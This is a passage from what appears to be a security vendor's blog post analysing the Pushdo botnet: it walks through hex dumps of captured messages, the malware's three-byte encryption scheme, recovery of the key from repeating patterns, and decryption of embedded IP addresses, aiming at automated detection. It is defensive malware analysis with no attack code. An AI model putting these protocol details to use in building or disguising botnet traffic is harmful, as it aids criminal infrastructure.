<p><span style="font-family: Courier New;">0030  &#8212; &#8211; &#8212; &#8211; &#8212; &#8211; 15 c8 fc 31 20 20 3f 19 1a <strong>63</strong> . .j&#8230;..1  ?..c</span><br style="font-family: Courier New;" /><span style="font-family: Courier New;">0040  d2 <strong>69</strong> 89 <strong>63</strong> 3c 1b 7c db 45 <strong>69</strong> 00 <strong>63 cc 69 13 63</strong> .i.c&lt;.|.Ei.c.i.c</span><br style="font-family: Courier New;" /><span style="font-family: Courier New;">0050  1c <strong>69</strong> 21 94 04 47 25 94 fa 5e 3d 9c <strong>cc</strong> 7f <strong>13 63</strong> .i!..G%..^=&#8230;.c</span><br style="font-family: Courier New;" /><span style="font-family: Courier New;">0060  <strong>cc 69 13</strong> b3 <strong>cc</strong> 5f 22 91 fd 5c 2b 91 fd 5f 24 91   .i&#8230;_&#8221;..\+.._$.</span></p>
<p>If the encryption was done using a simple XOR, the four pattern bytes would serve as a key to decrypt the message data. But the Pushdo encryption algorithm is a bit more complicated than that. A recent in-depth analysis by Fortinet&#8217;s Kyle Yang <a id="z68c" title="reveals the encryption algorithm" href="http://www.fortiguard.com/analysis/pushdoanalysis.html">reveals the encryption algorithm</a>.</p>
<p>Pushdo encryption uses three key bytes, which we will refer to as key0, key1, and key2. A new key is generated whenever the infected computer is restarted. Here is how the encryption is done.</p>
<p><span style="color: #0000ff;">(plain byte 0) XOR key0 = (encrypted byte 0)</span><br style="color: #0000ff;" /><span style="color: #0000ff;">(plain byte 1) &#8211; key1 = (encrypted byte 1)</span><br style="color: #0000ff;" /><span style="color: #0000ff;">(plain byte 2) + key2 = (encrypted byte 2)</span><br style="color: #0000ff;" /><span style="color: #0000ff;">(plain byte 3) XOR (key1 + key2) = (encrypted byte 3)</span></p>
<p>One of the most important rules for encryption systems is that security should depend on the keys, not on the secrecy of the encryption algorithm. In this case a bit of reverse engineering has revealed the algorithm, so whatever security remains is provided by the keys.</p>
<p>At this point it looks like we have all the information we need to decrypt this message. We know how the encryption works, and we should be able to calculate the key from the repeating pattern. But it would be convenient for us to be able to use the pattern itself as the key, if that is possible.</p>
<p>Notice that the last encryption rule contains an unnecessary complication that does not improve security. Adding key1 and key2 only serves to produce another static key byte. For our decryption we can simplify this rule by combining key1 and key2:</p>
<p><span style="color: #0000ff;">(plain byte 3) XOR key1.2 = (encrypted byte 3)</span></p>
<p>The plus and minus operations must also be reversed, so the new rules for decryption are:</p>
<p><span style="color: #0000ff;">(encrypted byte 0) XOR key0 = (plain byte 0)</span><br style="color: #0000ff;" /><br />
<span style="color: #0000ff;">(encrypted byte 1) + key1 = (plain byte 1)</span><br style="color: #0000ff;" /><br />
<span style="color: #0000ff;">(encrypted byte 2) &#8211; key2 = (plain byte 2)</span><br style="color: #0000ff;" /><br />
<span style="color: #0000ff;">(encrypted byte 3) XOR key1.2 = (plain byte 3)</span></p>
<p>To find the key bytes from the pattern bytes, we can rearrange the decryption rules this way:</p>
<p><span style="color: #0000ff;">key0 = (plain byte 0) XOR (pattern byte 0)</span><br style="color: #0000ff;" /><br />
<span style="color: #0000ff;"> key1 = (plain byte 1) &#8211; (pattern byte 1)</span><br style="color: #0000ff;" /><br />
<span style="color: #0000ff;">key2 = &#8211; (plain byte 2) + (pattern byte 2)</span><br style="color: #0000ff;" /><br />
<span style="color: #0000ff;">key1.2 = (plain byte 3) XOR (pattern byte 3)</span></p>
<p>The pattern bytes need to be aligned with the encryption rules before we can find the key bytes. We could test all four possibilities, but a quicker way to do this is by looking at the start of the data. We know from reverse engineering that the message has an 8 byte header, which means the data starts at frame offset 0&#215;003e, so the pattern byte that falls here will correspond to key0. The pattern bytes are <strong>cc 69 </strong><strong>13 63</strong>.</p>
<p><span style="font-family: Courier New;">0030  &#8212; &#8211; &#8212; &#8211; &#8212; &#8211; 15 c8 fc 31 20 20 3f 19 1a <strong>63</strong> . .j&#8230;..1  ?..c</span><br style="font-family: Courier New;" /><span style="font-family: Courier New;"><span style="background-color: #ffffff;"><span style="color: #0000ff;">key   &#8212; &#8211; &#8212; &#8211; &#8212; &#8211; &#8212; &#8211; &#8212; &#8211; &#8212; &#8211; &#8212; &#8211; 13 <strong>63</strong></span></span> </span><br style="font-family: Courier New;" /><span style="font-family: Courier New;">0040  d2 <strong>69</strong> 89 <strong>63</strong> 3c 1b 7c db 45 <strong>69</strong> 00 <strong>63 cc 69 13 63</strong> .i.c&lt;.|.Ei.c.i.c</span><br style="font-family: Courier New;" /><span style="font-family: Courier New; color: #0000ff;">key   cc <strong>69</strong> 13 <strong>63</strong> cc 69 13 63 cc <strong>69</strong> <strong>13</strong> <strong>63 cc 69 13 63</strong></span></p>
<p>Based on this alignment the pattern byte identities are:</p>
<p><span style="color: #0000ff;">pattern byte 0 = 0&#215;13</span><br style="color: #0000ff;" /><span style="color: #0000ff;">pattern byte 1 = 0&#215;63 </span><br style="color: #0000ff;" /><span style="color: #0000ff;">pattern byte 2 = 0xcc</span><br style="color: #0000ff;" /><span style="color: #0000ff;">pattern byte 1.2 = 0&#215;69</span></p>
<p>Using the equations above, with the plain bytes set to zero, the key bytes are:</p>
<p><span style="color: #0000ff;">key0 = 0&#215;13</span><br style="color: #0000ff;" /><span style="color: #0000ff;">key1 = 0&#215;9d </span><br style="color: #0000ff;" /><span style="color: #0000ff;">key2 = 0xcc</span><br style="color: #0000ff;" /><span style="color: #0000ff;">key1.2 = 0&#215;69</span></p>
<p>To test this we can decrypt some message data to see if we get the correct result. The block below was chosen at random from an area known to contain hard coded IP addresses.</p>
<p><span style="font-family: Courier New;">0060  cc 69 13 b3 cc 5f 22 91 fd 5c 2b 91 fd 5f 24 91   .i&#8230;_&#8221;..\+.._$.</span><br style="font-family: Courier New;" /><span style="font-family: Courier New; color: #0000ff;">key   cc 69 13 9d cc 69 13 9d cc 69 13 9d cc 69 13 9d</span><br style="font-family: Courier New;" /><span style="font-family: Courier New; color: #ff0000;">plain 00 00 00 50 00 36 31 2e 31 35 38 2e 31 36 37 2e</span><br style="font-family: Courier New;" /><span style="font-family: Courier New;">text                  6  1  .  1  5  8  .  1  6  7  . </span><br style="font-family: Courier New;" /></p>
<p><span style="font-family: Courier New;">0070  01 50 13 7b cc 69 13 63 cc 39 13 94 03 5d 3d 94   .P.{.i.c.9&#8230;]=.</span><br style="font-family: Courier New;" /><span style="font-family: Courier New; color: #0000ff;">key   cc 69 13 9d cc 69 13 9d cc 69 13 9d cc 69 13 9d</span><br style="font-family: Courier New;" /><span style="font-family: Courier New;"><span style="color: #ff0000;">plain 35 39 00 18 00 00 00 00 00 60 00 31 37 34 2e 31</span> </span><br style="font-family: Courier New;" /><span style="font-family: Courier New;">text   5  9                             1  7  4  .  1 </span><br style="font-family: Courier New;" /></p>
<p><span style="font-family: Courier New;">0080  ff 5a 3d 94 fc 5d 3d 95 fd 59 13 79 cc 69 13 63   .Z=..]=..Y.y.i.c</span><br style="font-family: Courier New;" /><span style="font-family: Courier New; color: #0000ff;">key   cc 69 13 9d cc 69 13 9d cc 69 13 9d cc 69 13 9d</span><br style="font-family: Courier New;" /><span style="font-family: Courier New; color: #ff0000;">plain 33 33 2e 31 30 34 2e 32 31 30 00 16 00 00 00 00</span><br style="font-family: Courier New;" /><span style="font-family: Courier New;">text   3  3  .  1  0  4  .  2  1  0 </span><br style="font-family: Courier New;" /></p>
<p><span style="font-family: Courier New;">0090  cc 39 13 95 fe 58 3d 95 ff 59 3d 95 fa 5b 23 9b   .9&#8230;X=..Y=..[#.</span><br style="font-family: Courier New;" /><span style="font-family: Courier New; color: #0000ff;">key   cc 69 13 9d cc 69 13 9d cc 69 13 9d cc 69 13 9d</span><br style="font-family: Courier New;" /><span style="font-family: Courier New; color: #ff0000;">plain 00 50 00 32 32 31 2e 32 33 30 2e 32 2e 32 30 38</span><br style="font-family: Courier New;" /><span style="font-family: Courier New;">text            2  2  1  .  2  3  0  .  2  .  2  0  8 </span><br style="font-family: Courier New;" /></p>
<p>The IP addresses found above in the decrypted block match ones known to be used by this version of Pushdo, so we can safely say the decryption is correct. Automated detection should be possible by picking the key from the message and applying it to a known block like the one above. Even if the IP addresses are changed, their presence in this format can be detected, along with other parts of the structure they are held in.</p>
<p>Unfortunately, sooner or later the encryption algorithm will be changed. It can be recovered by reverse engineering, but we would like to handle the change automatically, if that is possible.</p>
<p>We have some knowledge about the unencrypted data, for example we know that the data block seen here contains a number of IP addresses in text format. More of this kind of predictable data can likely be found. So we should be able to find the key, and we have all of the encrypted data and some of the unencrypted data.</p>
<p>With this information it may be possible to derive the arithmetic or logic operations used to encrypt each of the four bytes. Simple operations like XOR, plus and minus should not be hard to identify. Only operations that do not destroy data can be used, so it may be possible to generate a list of acceptable operations that are not excessively complex. As we saw with the fourth rule, overly complex operations may be reduced to simpler ones. In this sort of analysis we would probably not even be aware of the reduction.</p>
 <img src="http://blog.fortinet.com/wp-content/plugins/feed-statistics.php?view=1&post_id=839" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/decrypting-pushdo-botnet-messages/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
